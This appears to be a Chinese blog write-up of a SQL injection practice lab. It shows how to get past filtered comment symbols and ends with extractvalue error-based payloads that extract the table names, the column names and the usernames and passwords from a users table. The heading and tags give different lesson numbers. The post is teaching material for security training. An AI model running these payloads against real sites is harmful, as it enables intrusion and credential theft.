Less28
过滤注释符的Get注入(单引号注入)
Mysql注释符号
注释类型 | 符号 |
---|---|
单行注释 | -- -内容和 #内容 |
多行注释 | /*内容*/ |
新注释符 | ;%00内容 |
审计代码:
发现#和--符号被替换为空,无法使用注释来闭合语句
尝试用--和#注入
(%23经过URL编码为#)
发现#和--都被替换为空了
(1)可以使用新注释符
因为新注释符没有被替换为空
※※(2)可以使用or来闭合语句
注意:
存在局限就是对查询结果进行逻辑运算,返回结果是True或False,无法order by判断字段数(理解为order by在执行时被忽略了,与Mysql解析顺序有关)
(3)使用报错注入
substr(str,start,len)函数的使用,xpath语句报错每次只能显示32个字符,除去~字符还能显示31个,使用substr(str,1+31*n,31)来遍历查询结果(n可以为0、1、2...)
标签:Less23,--,31,0x7e,查询,注释,concat From: https://www.cnblogs.com/ntrack/p/17044332.html查询当前数据库:?id=1' or extractvalue(1,concat(0x7e,database())) or '
查询当前数据库的表:?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or '
查询users表的字段名:?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name = 'users'),1,31))) or '
查询username和password字段:?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(0x7c,username,0x26,password) from users),1,31))) or '